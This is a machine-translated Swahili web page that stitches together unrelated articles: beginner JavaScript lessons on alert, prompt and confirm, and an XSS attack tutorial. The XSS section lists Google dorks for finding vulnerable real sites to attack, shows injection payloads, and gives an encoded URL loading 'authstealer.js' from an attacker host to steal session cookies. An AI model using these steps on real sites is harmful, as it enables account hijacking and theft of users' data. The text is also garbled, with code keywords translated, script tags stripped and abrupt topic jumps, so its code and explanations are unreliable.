Kitendaji cha tahadhari inapotokea. Tahadhari ya njia, haraka, thibitisha katika JavaScript. Sheria ya ziada kwa kanuni rahisi

Kuna shughuli tatu za kimsingi katika JavaScript ambazo hukuruhusu kupokea data kutoka kwa mtumiaji kwa usindikaji zaidi katika hati. Hizi ni tahadhari, haraka na kuthibitisha. Nini hutumiwa, jinsi ya kuzitumia na nuances nyingine itajadiliwa baadaye katika makala hii.

tahadhari

Inatumika kuonyesha dirisha la modal kwenye skrini ya kivinjari (hii ina maana kwamba mtumiaji hawezi kubofya chochote kwenye ukurasa hadi afunge dirisha hili. Katika mfano huu, mpaka atakapobofya "Sawa" kwenye dirisha).

Baada ya ujumbe ulio katika tahadhari kuonyeshwa, utekelezaji wa hati unasimamishwa na kuanza tena baada ya dirisha la modal kufungwa.

Ikiwa sehemu imejazwa na OK imebofya, maelezo yaliyowekwa na mtumiaji yatarejeshwa kwenye hati.

Syntax ya amri hii ni ngumu zaidi kuliko ile iliyopita, kwani hukuruhusu kuweka maandishi ya ujumbe kwa mtumiaji na yaliyomo kwenye uwanja kwa kuingiza habari, ambayo itaonyeshwa kwa chaguo-msingi: result = prompt(title). , chaguo-msingi); , Wapi

  • kichwa - ujumbe ambao utaonyeshwa kwa mtumiaji kwenye dirisha la modal. Hoja inahitajika.
  • chaguo-msingi - ni nini kitakachoonyeshwa katika uga wa uingizaji maandishi kwa chaguo-msingi. Inahitajika pia, kwa sababu ikiwa haijainishwa, inaweza kusababisha makosa katika vivinjari vingine. Ikiwa unataka kuacha uga wa ingizo tupu, basi weka onyesho kama ifuatavyo:

    var myTest = prompt("Maelezo yoyote" , """);

Mfano mdogo wa kutumia haraka:

var year = prompt("Ulihitimu chuo kikuu mwaka gani?", 2008); alert("Wewe ni mhitimu wa" + mwaka +" mwaka! ) ;

Kwa kawaida, amri hii hutumiwa kukusanya data kutoka kwa watumiaji ambayo ni muhimu ili hati iendelee kufanya kazi zaidi.

thibitisha

Pia inawakilisha dirisha la modal. Kama unavyoweza kukisia kutoka kwa jina, kawaida hutumiwa kuratibu kitu na mtumiaji.

Hii ndiyo sababu imeundwa kwa ajili ya mwingiliano, humpa mtumiaji vitufe vya Sawa na GHAIRI, ambavyo hurejesha thamani za Boolean kuwa kweli na si kweli kwa hati mtawalia. Ukadiriaji: 4 (wastani wa 4 kati ya 5)

Uandishi wa tovuti tofauti (XSS) ni hatari inayojumuisha kuingiza msimbo wa upande wa mteja (JavaScript) kwenye ukurasa wa wavuti ambao watumiaji wengine wanautazama.

Athari hii inatokana na uchujaji usiotosha wa data ambayo mtumiaji huwasilisha kwa ajili ya kuingizwa kwenye ukurasa wa wavuti. Ni rahisi zaidi kuelewa na mfano halisi. Kumbuka kitabu chochote cha wageni - hizi ni programu ambazo zimeundwa kukubali data kutoka kwa mtumiaji na kisha kuionyesha. Wacha tufikirie kuwa kitabu cha wageni hakichunguzi au kuchuja data iliyoingizwa kwa njia yoyote, lakini inawaonyesha tu.

Unaweza kuchora hati yako rahisi zaidi (hakuna kitu rahisi kuliko kuandika hati mbaya katika PHP - watu wengi hufanya hivi). Lakini tayari kuna chaguzi nyingi zilizopangwa tayari. Kwa mfano, ninapendekeza kuanza na Dojo na OWASP Mutillidae II. Kuna mfano sawa hapo. Katika mazingira ya pekee ya Dojo, nenda kwa kiungo hiki kwenye kivinjari chako: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Ikiwa mmoja wa watumiaji aliingia:

Kisha ukurasa wa wavuti utaonyeshwa:

Habari! Ninapenda tovuti yako.

Na ikiwa mtumiaji ataingia hii:

Habari! Ninapenda site.alert yako("Iliyopigwa")

Kisha itaonyeshwa kama hii:

Vivinjari huhifadhi vidakuzi vingi kwa idadi kubwa ya tovuti. Kila tovuti inaweza tu kupokea vidakuzi vilivyohifadhiwa peke yake. Kwa mfano, example.com imehifadhi baadhi ya vidakuzi kwenye kivinjari chako. Ukitembelea another.com, tovuti hii (mteja na hati za seva) haiwezi kufikia vidakuzi ambavyo example.com imehifadhi.

Ikiwa example.com inaweza kuathiriwa na XSS, hii inamaanisha kuwa tunaweza kwa namna fulani kuingiza msimbo wa JavaScript ndani yake, na msimbo huo utatekelezwa kwa niaba ya example.com! Wale. Nambari hii, kwa mfano, itafikia vidakuzi vya example.com.

Nadhani kila mtu anakumbuka kuwa JavaScript inatekelezwa katika vivinjari vya watumiaji, i.e. mbele ya XSS, msimbo mbaya uliopachikwa hupata ufikiaji wa data ya mtumiaji aliyefungua ukurasa wa tovuti.

Nambari iliyopachikwa inaweza kufanya kila kitu ambacho JavaScript inaweza kufanya, yaani:

  • hupata ufikiaji wa vidakuzi vya tovuti unayotazama
  • inaweza kufanya mabadiliko yoyote kwenye mwonekano wa ukurasa
  • hufikia ubao wa kunakili
  • inaweza kutekeleza programu za JavaScript, kwa mfano, vibao vya funguo (viunganisha vitufe)
  • chukua kwenye BEEF
  • na nk.

Mfano rahisi zaidi na vidakuzi:

tahadhari(document.cookie)

Kwa kweli, tahadhari hutumiwa tu kugundua XSS. Upakiaji halisi hasidi hufanya vitendo vilivyofichwa. Inawasiliana kwa siri na seva ya mbali ya mshambuliaji na kuhamisha data iliyoibiwa kwake.

Aina za XSS

Jambo muhimu zaidi kuelewa juu ya aina za XSS ni kwamba ni:

  • Imehifadhiwa (Kudumu)
  • Imeakisiwa (Kigeugeu)

Mfano wa mara kwa mara:

  • Ujumbe ulioundwa mahususi ulioingizwa na mvamizi kwenye kitabu cha wageni (maoni, ujumbe wa jukwaa, wasifu), ambao umehifadhiwa kwenye seva, hupakuliwa kutoka kwa seva kila mara watumiaji wanapoomba kuonyesha ukurasa huu.
  • Mshambulizi alipata ufikiaji wa data ya seva, kwa mfano, kupitia SQL sindano, na kuanzisha JavaScript code hasidi (pamoja na kilologgers au BeEF) katika data aliyopewa mtumiaji.

Mfano wa zisizo za kudumu:

  • Kuna utafutaji kwenye tovuti ambao, pamoja na matokeo ya utafutaji, unaonyesha kitu kama "Ulitafuta: [kamba ya utafutaji]", na data haijachujwa ipasavyo. Kwa kuwa ukurasa kama huo unaonyeshwa tu kwa mtu ambaye ana kiunga chake, shambulio hilo halitafanya kazi hadi mshambuliaji atume kiunga kwa watumiaji wengine wa wavuti. Badala ya kutuma kiungo kwa mwathiriwa, unaweza kutumia uwekaji hati hasidi kwenye tovuti isiyoegemea upande wowote ambayo mwathirika hutembelea.

Pia zinatofautisha (baadhi kama aina ya udhaifu usioendelea wa XSS, wengine wanasema kuwa aina hii pia inaweza kuwa aina ya XSS inayoendelea):

  • Mifano ya DOM
Vipengele vya XSS kulingana na DOM

Ili kuiweka kwa urahisi sana, tunaweza kuona msimbo hasidi wa XSS "ya kawaida" isiyoendelea ikiwa tutafungua msimbo wa HTML. Kwa mfano, kiungo kinaundwa kama hii:

Http://example.com/search.php?q="/>tahadhari(1)

Na tunapofungua msimbo wa HTML wa chanzo, tunaona kitu kama hiki:

tahadhari(1)" /> Tafuta

Na DOM XSS inabadilisha muundo wa DOM, ambao huundwa kwenye kivinjari kwa kuruka, na tunaweza tu kuona msimbo hasidi wakati wa kutazama muundo wa DOM uliotengenezwa. HTML haibadiliki. Wacha tuchukue nambari hii kama mfano:

tovuti:::DOM XSS Hitilafu imetokea... chaguo la kukokotoa OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) kitendakazi get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); ikiwa (matokeo) ( document.getElementById("default").innerHTML = ""; rudisha (unescape(matokeo)); ) vinginevyo ( return null; ) ) display_session = OnLoad(); document.write("Kitambulisho chako cha kipindi kilikuwa: " + display_session + "

")

Kisha kwenye kivinjari tutaona:

Msimbo wa chanzo cha ukurasa:

Wacha tuunde anwani kama hii:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Sasa ukurasa unaonekana kama hii:

Lakini hebu tuangalie msimbo wa chanzo wa HTML:

Hakuna kilichobadilika hapo hata kidogo. Hivi ndivyo nilivyokuwa nikizungumza, tunahitaji kuangalia muundo wa DOM wa hati ili kutambua nambari mbaya:

Hapa kuna mfano wa XSS unaofanya kazi, kwa shambulio la kweli tunahitaji upakiaji ngumu zaidi, ambao hauwezekani kwa sababu programu inacha kusoma mara tu baada ya semicolon, na kitu kama tahadhari(1); tahadhari(2) hapana. muda mrefu iwezekanavyo. Walakini, shukrani kwa unescape() tunaweza kutumia upakiaji kama huu kwenye data ya kurejesha:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Ambapo tulibadilisha ishara; kwa sawa na URI iliyosimbwa!

Sasa tunaweza kuandika upakiaji hasidi wa JavaScript na kutunga kiungo cha kutuma kwa mwathiriwa, kama inavyofanywa kwa uandishi wa tovuti mtambuka usiodumu.

Mkaguzi wa XSS

Katika Google Chrome (na pia katika Opera, ambayo sasa inatumia injini ya Google Chrome), mshangao huu uliningoja:

dom_xss.html:30 Mkaguzi wa XSS alikataa kutekeleza hati katika "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" kwa sababu msimbo wake wa chanzo ulipatikana ndani ya ombi. Kikaguzi kiliwashwa kwani seva haikutuma kichwa cha "X-XSS-Protection" wala "Sera ya Maudhui-ya-Usalama".

Wale. kivinjari sasa kina mkaguzi wa XSS ambaye atajaribu kuzuia XSS. Firefox haina utendakazi huu bado, lakini nadhani ni suala la muda. Ikiwa utekelezaji katika vivinjari umefanikiwa, basi tunaweza kuzungumza juu ya ugumu mkubwa wa kutumia XSS.

Ni vyema kukumbuka kuwa vivinjari vya kisasa vinachukua hatua za kupunguza kiwango cha matatizo ya unyonyaji kama vile XSS isiyoendelea na XSS yenye msingi wa DOM. Hili pia ni jambo la kukumbuka unapojaribu tovuti kwa kutumia kivinjari - inaweza kubainika kuwa programu ya wavuti iko hatarini, lakini huoni uthibitisho wa madirisha ibukizi kwa sababu tu kivinjari kinaizuia.

Mifano ya unyonyaji wa XSS

Wavamizi wanaonuia kutumia udhaifu wa uandishi wa tovuti mbalimbali lazima wafikie kila darasa la athari kitofauti. Vekta za mashambulizi kwa kila darasa zimeelezwa hapa.

Kwa udhaifu wa XSS, mashambulizi yanaweza kutumia BeEF, ambayo huongeza mashambulizi kutoka kwa tovuti hadi kwa mazingira ya karibu ya watumiaji.

Mfano wa shambulio lisilodumu la XSS

1. Alice mara kwa mara hutembelea tovuti fulani inayopangishwa na Bob. Tovuti ya Bob humruhusu Alice kuingia kwa kutumia jina la mtumiaji/nenosiri na kuhifadhi data nyeti kama vile maelezo ya malipo. Mtumiaji anapoingia, kivinjari huhifadhi vidakuzi vya uidhinishaji, ambavyo vinaonekana kama wahusika wasio na maana, i.e. kompyuta zote mbili (mteja na seva) kumbuka kuwa aliingia.

2. Mallory anabainisha kuwa tovuti ya Bob ina hatari ya XSS isiyoendelea:

2.1 Unapotembelea ukurasa wa utafutaji, ingiza kamba ya utafutaji na ubofye kitufe cha kuwasilisha, ikiwa hakuna matokeo yanayopatikana, ukurasa unaonyesha kamba ya utafutaji iliyoingizwa ikifuatiwa na maneno "haijapatikana" na url inaonekana kama http://bobssite. .org?q= hoja yake ya utafutaji

2.2 Kwa hoja ya kawaida ya utafutaji kama neno "mbwa", ukurasa unaonyesha tu "hakuna mbwa waliopatikana" na url http://bobssite.org?q=dogs, ambayo ni tabia ya kawaida kabisa.

2.3 Hata hivyo, wakati hoja ya utafutaji isiyo ya kawaida kama vile alert("xss"); :

2.3.1 Ujumbe wa onyo unaonekana (unaosema "xss").

2.3.2 Ukurasa unaonyesha arifa("xss"); haipatikani pamoja na ujumbe wa makosa na maandishi "xss".

2.3.3 url inayofaa kwa unyonyaji http://bobssite.org?q=alert("xss");

3. Mallory huunda URL ili kutumia uwezekano wa kuathiriwa:

3.1 Anatengeneza URL http://bobssite.org?q=puppies. Anaweza kuchagua kubadilisha herufi za ASCII hadi umbizo la hexadecimal kama vile http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E kwa mpangilio ili kuzuia watu wasichambue mara moja URL hasidi.

3.2 Anawatumia barua pepe baadhi ya wanachama wasio na wasiwasi wa tovuti ya Bob akisema, "Angalia mbwa baridi."

4. Alice anapokea barua. Anapenda mbwa na bonyeza kwenye kiungo. Anaenda kwenye wavuti ya Bob katika utaftaji, hapati chochote, "hakuna mbwa aliyepatikana" huonyeshwa hapo, na katikati kabisa lebo iliyo na hati inazinduliwa (haionekani kwenye skrini), inapakuliwa na kutekeleza ya Malory. authstealer.js programu (kuanzisha shambulio la XSS). Alice anasahau kuhusu hilo.

5. Programu ya authstealer.js inaendeshwa katika kivinjari cha Alice kana kwamba ilitoka kwenye tovuti ya Bob. Ananyakua nakala ya vidakuzi vya uidhinishaji vya Alice na kuzituma kwa seva ya Malory, ambapo Malory huzipata.

7. Sasa kwa kuwa Malorie yuko ndani, anaenda kwenye sehemu ya malipo ya tovuti, na kuangalia na kuiba nakala ya nambari ya kadi ya mkopo ya Alice. Kisha huenda na kubadilisha nenosiri, i.e. Sasa Alice hawezi hata kuingia tena.

8. Anaamua kuchukua hatua inayofuata na kutuma kiungo kilichojengwa kwa njia hii kwa Bob mwenyewe, na hivyo kupokea marupurupu ya utawala kwa tovuti ya Bob.

Shambulio la XSS linaloendelea

  • Mallory ana akaunti kwenye tovuti ya Bob.
  • Mallory anabainisha kuwa tovuti ya Bob ina uwezekano wa kuathiriwa wa XSS. Ukienda kwa sehemu mpya na kuchapisha maoni, itaonyesha chochote kilichoandikwa ndani yake. Lakini ikiwa maandishi ya maoni yana lebo za HTML, lebo hizo zitatolewa kama zilivyo, na lebo zozote za hati zitatekelezwa.
  • Mallory anasoma makala katika sehemu ya Habari na anaandika maoni katika sehemu ya Maoni. Katika maoni anaingiza maandishi:
  • Nilipenda sana mbwa katika hadithi hii. Wao ni nzuri sana!
  • Wakati Alice (au mtu mwingine yeyote) anapakia ukurasa na maoni haya, lebo ya hati ya Malory huendesha na kuiba kidakuzi cha uidhinishaji cha Alice, na kukituma kwa seva ya siri ya Malory ili ikusanywe.
  • Mallory sasa anaweza kuteka nyara kikao cha Alice na kumwiga Alice.
  • Inatafuta tovuti zilizo hatarini kwa XSS

    Dorks kwa XSS

    Hatua ya kwanza ni kuchagua tovuti ambazo tutafanya mashambulizi ya XSS. Tovuti zinaweza kutafutwa kwa kutumia Google dorks. Hapa ni baadhi ya dorks hizi ambazo unaweza kunakili na kubandika kwenye utafutaji wa Google:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Orodha ya tovuti itafunguliwa mbele yetu. Unahitaji kufungua tovuti na kupata sehemu za ingizo humo, kama vile fomu ya maoni, fomu ya ingizo, utafutaji wa tovuti, n.k.

    Acha nikumbuke mara moja kwamba karibu haina maana kutafuta udhaifu katika programu maarufu za wavuti zilizosasishwa kiotomatiki. Mfano wa kawaida wa programu kama hiyo ni WordPress. Kwa kweli, kuna udhaifu katika WordPress, na haswa katika programu-jalizi zake. Zaidi ya hayo, kuna tovuti nyingi ambazo hazisasishi injini ya WordPress (kutokana na ukweli kwamba msimamizi wa tovuti alifanya mabadiliko fulani kwa msimbo wa chanzo) au programu-jalizi zao na mada (kama sheria, hizi ni programu-jalizi na mada zilizoharakishwa). Lakini ukisoma sehemu hii na kujifunza kitu kipya kutoka kwayo, basi WordPress sio kwako bado... Hakika tutairudia baadaye.

    Malengo bora ni aina ya injini na maandishi ya maandishi.

    Unaweza kuchagua upakiaji wa kuingiza kama

    tahadhari(1)

    Zingatia ni msimbo gani wa HTML unaotambulisha msimbo wako uliopachikwa unaangukia. Hapa kuna mfano wa uwanja wa kawaida wa kuingiza:

    tahadhari(1)

    Mzigo wetu utaishia pale neno "pillowcase" lilipo sasa. Wale. geuza kuwa thamani ya lebo ya ingizo. Tunaweza kuepuka hili - tunafunga nukuu mara mbili, na kisha lebo yenyewe na "/>

    "/> tahadhari(1)

    Wacha tuijaribu kwa tovuti fulani:

    Kubwa, kuna udhaifu

    Programu za kutafuta na kuchanganua udhaifu wa XSS

    Huenda vichanganuzi vyote vya programu za wavuti vina kichanganuzi cha kuathirika cha XSS kilichojengewa ndani. Mada hii sio ya kina; ni bora kufahamiana na kila skana inayofanana kando.

    Pia kuna zana maalum za kuchanganua athari za XSS. Miongoni mwao, mtu anaweza kuonyesha hasa.

    • njia za kitu cha dirisha;
    • alert() mbinu: muhtasari mfupi;
    • confirm() njia - kuandika barua;
    • prompt() njia - wacha tujitambulishe, mimi ni Stirlitz.

    Kwa hivyo, vitu vya kivinjari. Na kwanza kabisa - kongwe kati yao, kitu cha dirisha.

    Hapa kuna njia kuu za kitu cha dirisha (badala yao, kuna wengine, lakini hutumiwa mara chache, na ili sio kuunganisha ubongo wangu na habari zisizohitajika, nitaziahirisha hadi mfululizo wa tatu).

    Njia

    Maelezo

    Kufungua na kufunga madirisha ya kivinjari; Inawezekana kuamua ukubwa wa dirisha, yaliyomo yake, pamoja na kuwepo kwa jopo la kifungo, shamba la anwani na sifa nyingine.

    Sanduku la mazungumzo la kengele linaonekana na ujumbe unaolingana.

    Sanduku la mazungumzo la uthibitisho na vifungo vya "Sawa" na "Ghairi" huonekana.

    Kisanduku cha kidadisi cha kidokezo kinaonekana na sehemu ya maandishi.

    Weka au uondoe mwelekeo kwa dirisha.

    Husogeza yaliyomo kwenye dirisha hadi sehemu maalum.

    Kuweka muda kati ya simu ya kukokotoa na tathmini ya kujieleza.

    Huweka muda wa wakati mmoja kabla ya simu ya kukokotoa au tathmini ya kujieleza.

    Tayari tunajua kuwa dirisha mara nyingi humaanisha lakini halijaandikwa.

    Kuita madirisha mbalimbali ya mazungumzo

    Dirisha la mazungumzo hutumiwa katika programu za kuingiliana na mtumiaji.

    alert() mbinu

    Tuliiangalia mwanzoni mwa masomo yetu. Inaunda kisanduku cha mazungumzo rahisi na ujumbe na kitufe cha OK. Uingiliano wake wote ni mdogo kwa ukweli kwamba mtumiaji, kwa kushinikiza kifungo hiki kimoja, anaweza kutuma dirisha hili mahali fulani mbali (na asante kwa hilo).

    kuthibitisha () mbinu

    Njia ya kuthibitisha() tayari inaruhusu mtumiaji kufanya uamuzi rahisi wa "Boolean": sema "ndiyo" au "hapana".

    Kwa mfano, bonyeza kitufe hiki:

    Pole kwa mzaha mdogo. Natumai unajua jinsi ya kutumia kitufe cha nyuma.

    Yote hufanyaje kazi? Wewe, bila shaka, uliona kwamba nilichanganya njia hii na arifa. Na hii inafanywa kwa kutumia kazi ambayo imeingizwa kwenye .

    Njia hiyo inarudisha maadili mawili: kweli (ikiwa ni sawa) na uongo (ikiwa umeghairi).

    Inapowekwa kuwa ndivyo, tunaituma kwa ukurasa unaofaa ( sifa ya href ya kitu cha eneo) na kuchapisha arifa inayolingana () . Vinginevyo (yaani false ) tunachapisha tu alert() nyingine.

    Na kwenye kitufe tunaita kazi katika tukio la onClick:

    Na kisha unahitaji kupiga simu hii kutoka kwa kidhibiti cha tukio cha onSubmit cha tepe, kwa mfano:

    Hapa, kwa mfano, unaweza kunitumia barua pepe kila kitu unachofikiria kuhusu masomo yangu. Ikiwa ghafla ulisisimka na kubonyeza kitufe, na kisha ikawa ngumu kwa namna fulani, dirisha la mazungumzo litatokea na kukufanya uwe na kiasi.

    Ikiwa unafanya madirisha ya pop-up, basi ni mazoezi mazuri ya kuonya mtumiaji kuhusu hili na kumpa chaguo - kufungua dirisha au si kuifungua. Ili kufanya hivyo, kabla ya kupakia dirisha, unahitaji kuachilia "bunge" - thibitisha () dialog. Hapa kazi inaitwa kutoka. Tutazungumza juu ya hili hivi karibuni tutakapoendelea kuunda windows kwa kutumia njia ya open().

    haraka () mbinu

    Mbinu hii tayari inaomba data mahususi kutoka kwa mtumiaji. Sanduku la mazungumzo na sehemu ya ingizo inaonekana. Njia inarudisha data ambayo mtumiaji aliingia kwenye uwanja huu na inaruhusu programu kufanya kazi na data hii.

    Mbinu ya prompt() ina hoja mbili: swali (ambalo linaonekana juu ya sehemu ya ingizo) na jibu (maandishi katika sehemu ya ingizo):

    Ikiwa unataka sehemu ya ingizo ionekane tupu, weka nukuu tupu kama hoja ya pili:

    haraka (" maandishi ya swali","")

    Hebu tuone hili kwa vitendo. Bonyeza kitufe, usiogope.

    Kwa hiyo, uliingia (au haukuingia) data na kupokea jibu kutoka kwa kompyuta kulingana na data hii (au ukosefu wake).

    Hapa kuna toleo rahisi la kazi hii:

    Sifa ya innerHTML, ambayo huturuhusu kudhibiti yaliyomo kwenye lebo, ilipatikana katika somo la 10, tulipopanga majina chini ya picha.

    Na hapa kuna nambari ya kitufe na aya tupu ya salamu.


    Lakini ikiwa utatokea kuwa jina langu, uliona kuwa kazi ilijibu hii pia.

    Jinsi ya kufanya hivyo katika toleo "mbaya", unaweza tayari nadhani mwenyewe. Unahitaji kuangalia utaftaji wa jina la mtumiaji sio tu kwa nukuu tupu, lakini pia kwa " Andrey", na uingize nyingine ikiwa na maandishi yanayofaa (unaweza kuifanyia mazoezi mwenyewe).

    Lakini ukiandika" Andrey", "Andryusha", "Andryushka", "Andryukha", "Andreyka", "Andrey Ivanovich" n.k., basi matokeo yatakuwa sawa, ingawa sikupitia maadili haya yote, lakini nilifanikiwa na mistari mitano tu: " Andre", "Andrew", "Andrey", "Andrejce"Na" Andreich"(watatu wa mwisho - kuwatenga Andreyev, Andreichenko na Andreychuk kutoka kwa majina yao, huku wakibakiza Andreychik kama majina yao).

    Hiyo ni, unaweza kudhani kuwa chaguo la kukokotoa hukagua utofauti wa jina la mtumiaji kwa herufi 5, 6 au 8 za kwanza.

    Lakini tutazungumzia kuhusu hili baadaye kidogo, tunapoendelea kwenye vitu vya kamba na mbinu zao. Ninataka tu ufikirie mapema matatizo ambayo tunapaswa kutatua (haswa, kila aina ya kugawanyika kwa kamba kwenye substrings). Kisha maamuzi yenyewe yataonekana wazi zaidi. Lakini ikiwa huwezi kusubiri, unaweza "kunakili" kazi kutoka kwa msimbo na "ukata kama nati." Kwa wale wanaotaka kujua, niliandika maoni hapo.

    Njia ya haraka () pia inaweza kutumika kuingiza nenosiri.

    Huu sio mwisho wa somo!

    Hebu “tucheze kupeleleza” kidogo ili tuweze kusoma sura hii hadi mwisho. Kwanza jaribu kubonyeza kitufe na kuandika kitu.

    Ah, ndivyo hivyo! Lakini angalia, kuna kifungo kingine! Njoo...

    Nenosiri:

    Bonyeza kitufe cha kwanza tena na uweke nenosiri sahihi.

    Furaha hii yote, labda, ina athari, lakini kwa kweli unaweza kujua nenosiri kwa kushinikiza kifungo cha kulia na kuiangalia kwenye msimbo. Wengine wanaweza kufikiria kwa ujinga kuwa inatosha kuweka msimbo katika faili tofauti ya .js. Lakini katika msimbo wa ukurasa kutakuwa na kiungo cha faili hii inayoonyesha anwani. Na ukiiandika kwenye upau wa anwani, faili iliyo na msimbo wa JavaScript itafungua :)

    Je, inawezekana kusimba nenosiri katika msimbo? Inawezekana, lakini hii inahitaji tena ujanjaji wa kamba pamoja na utumiaji wa njia zingine za kihesabu. Tunapofikia haya yote, tutajifunza pia maandishi ya nenosiri "halisi". Lakini mbinu ya kuingiliana na mtumiaji bado itakuwa sawa: njia ya haraka (). (Je, inawezekana "kuvunja" nenosiri lililosimbwa? Ole, hakuna mipaka kwa ukamilifu wa wadukuzi...)

    Kwa njia ile ile ambayo "tulishika" jina au kutokuwepo kwake, pia tutapata nenosiri na kazi.

    Ikiwa utaingiza nenosiri lisilofaa au usiingie chochote, mstari

    document.getElementById("hapana").style.display = "block"

    itafungua kizuizi na kitufe cha pili

    Na ikiwa nenosiri sahihi limeingia, hatua huhamishiwa kwenye mstari

    document.getElementById("ndiyo").style.display = "block" ,

    ambayo inafungua block inayofuata

    Subiri, hawa ni nyati wa aina gani? Huu ni msimbo rahisi wa usimbaji fiche, nitaueleza hivi karibuni.

    Wakati huo huo, ninatoa nambari ya vizuizi hivi (kwa uwazi, mimi huacha jedwali na fremu, ambazo nimezifunga kwenye kizuizi cha mwisho):



    Ah, ndivyo hivyo! Lakini angalia, kuna kifungo kingine! Njoo...





    Nenosiri:

    document.write(kutoroka( "%u043C%u043E%u044F%20%u043F%u0440%u0435%u043A%
    u0440%u0430%u0441%u043D%u0430%u044F%20%u043B%u0435%u0434%u0438"
    ))


    Bonyeza kitufe cha kwanza tena na uweke nenosiri sahihi.




    Sasa endelea kusoma.


    . . . . .
    . . . . .

    Kwa hivyo, kuhusu usimbaji fiche. Yeye ni mnyonge sana. Yeyote anayejua kazi za escape() na unescape() anaweza kudukua mara moja.

    Chaguo za kukokotoa ("ingiza kamba hapa") hubadilisha herufi kuwa thamani zao za heksadesimali.

    Kazi unescape("ingiza nyati anayeruka hapa") hufanya kinyume.

    Ili kusimba nenosiri kwa njia hii, unahitaji kuiendesha kupitia escape() nyumbani, nakili matokeo na ubandike kwenye unescape() . Lakini hii, narudia, sio mbaya.

    Kweli, kwa seti kamili - kazi ya kitufe cha pili:

    Ili kuonyesha visanduku vya kawaida vya mazungumzo, JavaScript ina njia tatu pekee ambazo tumejifunza leo. Ingawa njia hizi hazitumiwi mara nyingi, uwezo wa kuzitumia kwa ujasiri ni muhimu sana. Wao ni rahisi, lakini wakati huo huo wao ni wa, kwa kusema, kwa programu "safi". Wao ni nzuri sana kwa kujifunza lugha ya programu. Na mimi kukushauri kuwajaribu kwa kila njia inayowezekana, hata ikiwa bila mwelekeo kutoka kwa mtazamo wa kisayansi. Upangaji mzuri wa programu ni mchezo wa kufurahisha, kama shughuli yoyote ya ubunifu.

    Katika makala hii, tutajifunza njia tatu za kuvutia, ambazo ni tahadhari (), kuthibitisha () na haraka () mbinu. Zote zimeundwa kuingiliana na mtumiaji.

    Njia hizi zote tatu ni za kitu cha dirisha (Dirisha la Kivinjari). Na wanaweza kuitwa kama hii: window.method_name(); Lakini JavaScript inaturuhusu kutotaja kitu hiki cha dirisha, lakini kuandika tu jina la njia.

    Tutaanza na alert() mbinu. Njia hii inaonyesha ujumbe maalum katika dirisha la kivinjari cha mtumiaji. Dirisha hili litaonekana juu ya ukurasa mzima, na hadi mtumiaji atakapobofya kitufe cha OK, haitafungwa.

    Ili kuonyesha, hebu tuonyeshe ujumbe kwa kutumia alert() mbinu.

    Var today_is = "Jumatatu"; tahadhari("Leo" + leo_ni);


    Ndani ya njia tunaweza kutaja kamba yoyote, bila vitambulisho vya html. Hazichakatwa hapa, lakini zinaonyeshwa kama zilivyo.

    Ikiwa mstari tunataka kuonyesha ni mrefu sana, na tunataka kuunda laini mpya, basi hii hapa tagi ya html.
    haitafanya kazi. Hapa unahitaji kutumia herufi "\n".

    Tahadhari("Loooooooooong \nStringgggggg");


    Njia hii mara nyingi hutumiwa kupata makosa katika nambari.

    Mchakato wa usindikaji wa msimbo huenda kutoka juu hadi chini, ili kupata hitilafu, tunaandika tu njia ya tahadhari () katika eneo linalotarajiwa ambapo kosa iko. Na ikiwa alert() ilifanya kazi, basi hakuna makosa hadi kwenye mstari ambapo imeandikwa.

    Ifuatayo, unahitaji kuisogeza mstari mmoja au zaidi chini. Tunahifadhi mabadiliko, furahisha ukurasa kwenye kivinjari tena, na uone ikiwa arifu() ilifanya kazi, basi hakuna makosa hadi mstari ulipo, vinginevyo, ikiwa haikufanya kazi, kosa liko kwenye mstari juu ya mstari ambapo iko sasa. Hivi ndivyo unavyoweza kupata hitilafu katika msimbo.

    kuthibitisha () mbinu

    Njia hii hutumiwa kuthibitisha jibu la swali. Kuna chaguzi mbili tu za majibu, ndio (Sawa) au hapana (Ghairi). Mtumiaji akijibu ndiyo, basi njia hiyo inarudi kuwa kweli, vinginevyo itarejesha sivyo.

    Kwa mfano, tutaonyesha dirisha kwa kutumia njia ya confirm(), ambapo tutamuuliza mtumiaji "Je, una uhakika unataka kuondoka kwenye ukurasa?" Ikiwa mtumiaji anajibu ndiyo, basi kupitia njia ya tahadhari () tutaonyesha ujumbe unaofuata "Mtumiaji anataka kuondoka kwenye ukurasa", vinginevyo tutaonyesha ujumbe mwingine "Mtumiaji hataki kuondoka kwenye ukurasa".

    Var user_answer = confirm("Je, una uhakika unataka kuondoka kwenye ukurasa?"); if(user_answer) alert("Mtumiaji anataka kuondoka kwenye ukurasa"); else alert("Mtumiaji hataki \nkuacha ukurasa");


    Hivi ndivyo njia ya confirm() inavyofanya kazi. Inaweza kutumika katika matukio tofauti. Kwa mfano, kabla ya kuondoa kitu kwenye tovuti, ni desturi kuuliza mtumiaji ikiwa anajiamini katika matendo yake. Au, kabla ya kutuma fomu, unaweza pia kuuliza mtumiaji "Je, ulijaza kila kitu kwa usahihi?" Ikiwa anajibu ndiyo, basi fomu itatumwa, vinginevyo haitatumwa.

    haraka () mbinu

    Njia ya mwisho tutakayojifunza ni prompt() njia. Njia hii hutumiwa mara chache kuliko njia zingine mbili. Inakuwezesha kupokea taarifa fulani kutoka kwa mtumiaji, ambayo ataingia kwenye uwanja wa maandishi.

    Kwa hivyo, njia ya prompt() hurejesha mfuatano ulioingizwa ikiwa mtumiaji alibofya kitufe cha Sawa, au ubatilishe ikiwa mtumiaji alibofya kitufe cha kughairi.

    Kama parameta, ambayo ni, ndani ya mabano ya njia hii, tunaweza kuandika mstari wa dalili au swali ili mtumiaji ajue ni habari gani inahitaji kuingizwa.

    Kwa mfano, hebu tuulize mtumiaji kujibu swali "Jina lako ni nani?" Jina lililowekwa na mtumiaji litaonyeshwa kwenye skrini kwa kutumia njia ya tahadhari ().

    Var name = prompt("Jina lako ni nani?"); tahadhari("Jina lako ni" + jina);

    Hifadhi na ufungue ukurasa kwenye kivinjari.


